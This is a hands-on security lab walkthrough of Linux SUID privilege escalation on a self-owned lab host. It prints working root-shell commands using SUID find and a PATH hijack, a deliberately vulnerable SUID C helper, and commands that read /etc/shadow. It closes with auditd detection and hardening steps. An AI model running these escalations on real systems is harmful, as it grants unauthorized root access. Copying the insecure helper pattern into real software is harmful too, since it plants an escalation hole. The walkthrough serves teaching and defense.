0
Hands-on Labs INTERMEDIATE 15 min read Updated

Linux Privilege Escalation via SUID Binaries in a Lab

A hands-on SUID privilege escalation walkthrough on a lab host you own: find the set-user-id binaries, check GTFOBins, and turn a standard binary or a misconfigured helper into a root shell.

founder & security researcher · 39 writeups
Linux Privilege Escalation via SUID Binaries in a Lab

SUID privilege escalation is one of the first things to check after you land a low-privilege shell on a Linux box, because a single set-user-id binary with the wrong owner can hand you root in one command. This walkthrough stays on that one vector. We run it end to end on a lab host you own: list the SUID binaries, read the list properly, look each candidate up on GTFOBins, abuse a standard binary for a root shell, then break a custom helper with a relative-path command through a PATH hijack. It closes on the defender side, with detection and a shutdown checklist.

Work through it in order on your own box the first time, then keep it as a checklist. The target throughout is lab.0xpriv.dev at 10.10.10.5, a machine built for this. Nothing here points at anything you do not control.

Scope

Run every command in this post only on a host you own or are explicitly authorized to test, such as your own lab VM at 10.10.10.5. Getting a root shell on a system you do not own is a crime, not a lab exercise.

01What the SUID bit is and why it is dangerous

The SUID bit is the single file permission that makes SUID privilege escalation possible, so it is worth understanding before you hunt for it. SUID stands for set user ID. When the bit is set on an executable, the program runs with the user ID of the file's owner, not the user who launched it. If the owner is root, any user who can run the file gets a process whose effective user is root for the life of that program.

There is a real reason this exists. passwd needs to write /etc/shadow, which only root can touch, yet ordinary users must be able to change their own password. Setting passwd SUID root lets the binary do the privileged write on your behalf while it controls exactly what you are allowed to change. The danger is that the same mechanism hands root to any binary that can be talked into running a command of your choosing, reading an arbitrary file, or writing where it should not.

In the directory listing an SUID file shows an s where the owner's execute bit would be.

the s is the SUID bit
$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 /usr/bin/passwd

That s is the whole story. A lowercase s means the bit is set and the file is executable by the owner. The numeric form is 4000 added to the normal mode, which is exactly what we search for in a moment.

02How setuid changes your effective user

Changing the effective user is what a SUID program does at the kernel level, and knowing the detail explains why some exploits work and others quietly fail. Every process carries a real user ID, an effective user ID, and a saved user ID. Permission checks use the effective ID. When you run a SUID-root binary, the kernel sets the effective and saved IDs to root while your real ID stays your own. That split is the foothold.

The catch is that many programs drop the extra privilege on purpose. A shell such as bash or dash notices that the effective ID does not match the real ID and resets the effective ID back to the real one, unless you ask it not to with the -p flag. That is why a naive system("/bin/sh") inside a SUID binary often gives you a shell as yourself, and why -p and the setuid(0) call matter in the examples below. The man 2 setuid page spells out the real, effective, and saved ID rules precisely.

real uid stays, effective uid becomes root
Youreal uid 1000 exec SUID binaryowner root, mode 4755 kernel Processeuid 0, real uid 1000

03Finding SUID binaries on the lab host

Finding SUID binaries is the first active step, and it is a single find command that scans the whole filesystem for the set-user-id bit. The -perm -4000 test matches any file whose mode includes 4000, the leading octal digit that is the SUID bit, and -type f keeps it to regular files.

bash
# 0xpriv.dev/labs
# list every SUID file on the system, silence the permission-denied noise
find / -perm -4000 -type f 2>/dev/null

The 2>/dev/null at the end throws away the stream of "Permission denied" lines you get as an unprivileged user walking directories you cannot read. Without it the useful output drowns in errors. On a real host this returns a short list in a second or two.

SUID inventory on 10.10.10.5
[email protected]:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/find
/usr/local/bin/svc-check

If find is missing or stripped, ls -laR / 2>/dev/null | grep -i rws gets you most of the way, and an enumeration script like linpeas highlights the same files automatically and flags the interesting ones in color.

04Reading the results and spotting the odd one out

Reading the SUID list is where the thinking happens, because most of what you see is normal and only a couple of entries are worth your time. Sort the output into two buckets: the expected system binaries and anything unusual.

BinaryWhy it is thereWorth a look?
passwd, su, sudo, chsh, newgrp, mountDefault SUID binaries shipped by the distroOnly if the version is old and has a known CVE
findNot SUID by default, someone set the bitYes, it is a known GTFOBins entry
/usr/local/bin/svc-checkLives under /usr/local, a custom binaryYes, custom SUID binaries are the best lead

Two rules carry you a long way. First, anything the distribution did not ship, especially under /usr/local or a home directory, is a custom binary that someone made SUID on purpose and rarely reviewed for safety. Second, a standard tool that is not normally SUID, like find, vim, python, or cp, means an admin took a shortcut. Both are your path to root. Here find and svc-check are the two to chase.

05GTFOBins, the lookup for known abusable binaries

GTFOBins is the reference you check for every SUID binary you find, because it catalogs the exact command that turns a given binary into a privilege gain. The site lists Unix binaries and, for each, the functions it can be abused for: Shell, Command, File read, File write, and importantly for us, SUID. If a binary has a SUID entry, GTFOBins gives you the precise invocation to run when that binary is set-user-id root.

How to use it

Open gtfobins.github.io, search the binary name, and click the SUID tag. If the binary appears with a SUID function, the page shows the one-line payload. No SUID entry means that binary is not directly abusable this way, so move to the next candidate.

The pattern behind most SUID entries is the same: the binary can run a command or spawn a shell, and because it is executing as root, that shell or command is root too. The job is matching the binary in front of you to its known abuse, not inventing anything. The custom svc-check will not be on GTFOBins, which is exactly why the second half of this walkthrough reads its behavior by hand.

06Worked example one, a root shell from find

Getting a root shell from find is the cleanest SUID win, because find can execute commands by design and keeps its root privilege when it does. The -exec action runs any program you name, and since the SUID find runs as root, the program it launches starts as root too. The GTFOBins SUID entry for find is a single line.

bash
# find is SUID root here, so -exec launches a shell as root
# -p tells the shell to keep the effective uid instead of dropping it
find . -exec /bin/sh -p \; -quit

Two details make it work. The -exec ... \; runs /bin/sh once, and -quit stops find after the first match so you are not spawning a shell for every file. The -p flag on the shell is the important part: without it, sh sees that the effective uid (root) does not match the real uid (yours) and resets itself back to you. With -p it keeps the root effective uid, and you get a root prompt.

SUID find to root
[email protected]:~$ ls -l /usr/bin/find
-rwsr-xr-x 1 root root 320160 /usr/bin/find
[email protected]:~$ find . -exec /bin/sh -p \; -quit
# id
uid=1000(lab) gid=1000(lab) euid=0(root) groups=1000(lab)

The prompt changed from $ to # and id shows euid=0(root). The real uid is still lab, which is normal for this method, and the effective uid is what every file operation is checked against. You are root for all practical purposes.

07Worked example two, a PATH hijack on a custom binary

A PATH hijack is the classic way to beat a custom SUID binary that calls another command by its short name instead of a full path. The svc-check helper from our list is not on GTFOBins, so we read what it does and find its mistake. A quick look with strings shows it shells out to a command.

reading the custom helper
[email protected]:~$ ls -l /usr/local/bin/svc-check
-rwsr-xr-x 1 root root 16880 /usr/local/bin/svc-check
[email protected]:~$ strings /usr/local/bin/svc-check | grep -iE 'ps|service|system'
ps
checking running services...

The source behind it is a small helper an admin wrote to let the team check services without sudo. The bug is in the last two lines.

c
/* svc-check.c, a lab helper made SUID root, the kind of thing you really find */
#include <stdlib.h>
#include <unistd.h>
int main(void) {
    setuid(0);                 /* raises the real uid to root as well */
    puts("checking running services...");
    system("ps");              /* relative name: resolved through $PATH */
    return 0;
}

Two mistakes stack up. The binary calls setuid(0), which sets the real uid to root, so the shell that system spawns will not drop privilege. Then it runs ps by its short name, so the shell resolves it through $PATH. Because you control $PATH, you decide which ps runs. Put a ps of your own first on the path and the root process runs it.

Write a fake ps

Create a file named ps in a writable directory whose only job is to launch a shell, then make it executable.

Put your directory first on PATH

Prepend that directory to $PATH so your ps is found before /usr/bin/ps.

Run the SUID helper

Launch svc-check. It calls ps, finds yours first, and runs it as root.

Land in a root shell

Your fake ps is a shell, so you drop straight to a root prompt.

bash
# plant a ps that is really a shell, then force it to the front of PATH
cd /tmp
printf '#!/bin/sh\n/bin/sh\n' > ps
chmod +x ps
export PATH=/tmp:$PATH
/usr/local/bin/svc-check
PATH hijack to root
[email protected]:/tmp$ export PATH=/tmp:$PATH
[email protected]:/tmp$ /usr/local/bin/svc-check
checking running services...
# id
uid=0(root) gid=0(root) groups=0(root)
why the fake ps runs as root
svc-checksystem("ps") PATH search/tmp first /tmp/psyour shell, as root

The same idea reaches further than one fake ps. Any SUID binary that calls out to service, systemctl, cat, or any command without a full path is open to the same hijack, and relative names inside shell scripts run by a SUID wrapper are just as exposed.

08Confirming you are root

Confirming root takes two seconds and saves you from acting on a half-privileged shell. Run id and read the fields: the find method leaves you with euid=0(root) while your real uid stays your own, and the PATH hijack with its setuid(0) gives you a full uid=0(root). Both are root for file access. If a step depends on the real uid as well, a quick python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' from the first shell promotes it fully.

bash
# three quick checks that you actually have root
id                      # look for uid=0 or euid=0
whoami                  # should print root
cat /etc/shadow | head  # a file only root can read, the real proof

Reading the first line of /etc/shadow is the honest test. It is root-only, so if it prints, your privileges are real and not just a cosmetic prompt change.

09Detecting SUID abuse

Detecting SUID abuse comes down to watching for two things: programs that run with a mismatched user ID, and SUID files that appear or change when they should not. The Linux audit daemon, auditd, handles the first. A rule that fires on any execve where the real uid does not equal the effective uid catches exactly the moment a SUID-root binary hands out a privileged process.

bash
# auditd: log every exec where the caller's uid differs from the effective uid
# -C uid!=euid is the field comparison that flags setuid execution
auditctl -a always,exit -F arch=b64 -S execve -C uid!=euid -F euid=0 -k suid-exec

# then read what matched
ausearch -k suid-exec

The second half is file integrity monitoring. Keep a baseline of every SUID file and alert when the set changes, because a new SUID binary is almost always either a mistake or an attacker leaving a way back in. A tool like AIDE does this, and a cron job that diffs the find output against a saved copy covers the basics.

bash
# a poor-person FIM: snapshot the SUID set, then diff it on a schedule
find / -perm -4000 -type f 2>/dev/null | sort > /var/lib/suid.now
diff /var/lib/suid.base /var/lib/suid.now   # non-empty output is your alert
Watch the noise

Legitimate SUID binaries like passwd and su fire the auditd rule constantly, so tune on the binary path and the parent process rather than alerting on every match. The signal you want is an odd binary, an unusual path such as /tmp, or a shell as the child of a SUID helper.

10Shutting SUID privilege escalation down

Shutting this vector down is mostly about removing SUID bits that never needed to exist and containing the ones that do. The fixes below are ordered by how much they buy you, and the first one alone kills most findings.

How to shut it down
Strip SUID bits you do not need. Run the find inventory, and for every binary that has no business being set-user-id, clear the bit with chmod u-s /path/to/binary. A custom helper almost never needs it.
Mount writable areas nosuid. Add the nosuid option to /tmp, /home, /var, and any removable media in /etc/fstab. The kernel then ignores the SUID bit on anything under those mounts, so a planted binary cannot escalate.
Use capabilities instead of SUID root. When a program needs one specific power, grant that alone with file capabilities, for example setcap cap_net_raw+ep /bin/ping, rather than full root through the SUID bit. See capabilities(7).
Fix the code, not just the bit. If a SUID binary must exist, call external commands by absolute path, scrub the environment including PATH, and drop privilege as early as possible. Never shell out with a relative command name.
Patch and monitor. Keep packaged SUID binaries updated so known CVEs are closed, and run the auditd rule plus a SUID file baseline so a new or changed set-user-id file raises an alert.

11FAQ

What is the difference between SUID and sudo?FAQ

SUID is a permission on a file that makes it run as its owner for anyone who executes it, with no password and no policy. Sudo is a configurable program that checks /etc/sudoers and asks for a password before running a command as another user. SUID escalation abuses a file permission, sudo escalation abuses a rule in the sudoers policy.

Why does my SUID shell show euid 0 but uid 1000?FAQ

That is normal and still root for file access. A SUID binary sets your effective uid to root while leaving your real uid alone, and permission checks use the effective uid. If a tool insists on the real uid being root, call setuid(0) first, which the PATH hijack example does, giving a full uid 0.

The binary is SUID root but GTFOBins has no entry, now what?FAQ

That usually means it is a custom binary, which is good news. Read it with strings, ltrace, or source if you have it, and look for commands called by short name, files opened by relative path, or input copied into a buffer without bounds. A relative command name is the PATH hijack from this walkthrough.

Does mounting nosuid break normal programs?FAQ

Not on the partitions where you should use it. System SUID binaries live under /usr and /bin, so marking /tmp, /home, and /var as nosuid does not touch them. It only stops set-user-id binaries that get planted in those writable areas, which is exactly what you want.

Is making find or vim SUID ever safe?FAQ

No. Any binary that can run a command or spawn a shell becomes a direct root shell the moment it is SUID root, which is why GTFOBins lists them. If someone needs find to run as root for a job, use a tightly scoped sudo rule or capabilities, never the SUID bit on a general-purpose tool.

12Wrapping up

SUID privilege escalation stays near the top of every Linux checklist because it is quick to test and often pays out. The loop is always the same: run the find inventory, split the list into expected and odd, look the odd ones up on GTFOBins, and abuse what matches, whether that is a one-line root shell from find or a PATH hijack on a custom helper. On the other side, the defense is just as simple. Strip the bits you do not need, mount writable areas nosuid, reach for capabilities instead of root, and watch for set-user-id files that change. Do that and this entire vector dries up.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Labs →

discussion

0 comments
`code` supported · comments are reviewed before they appear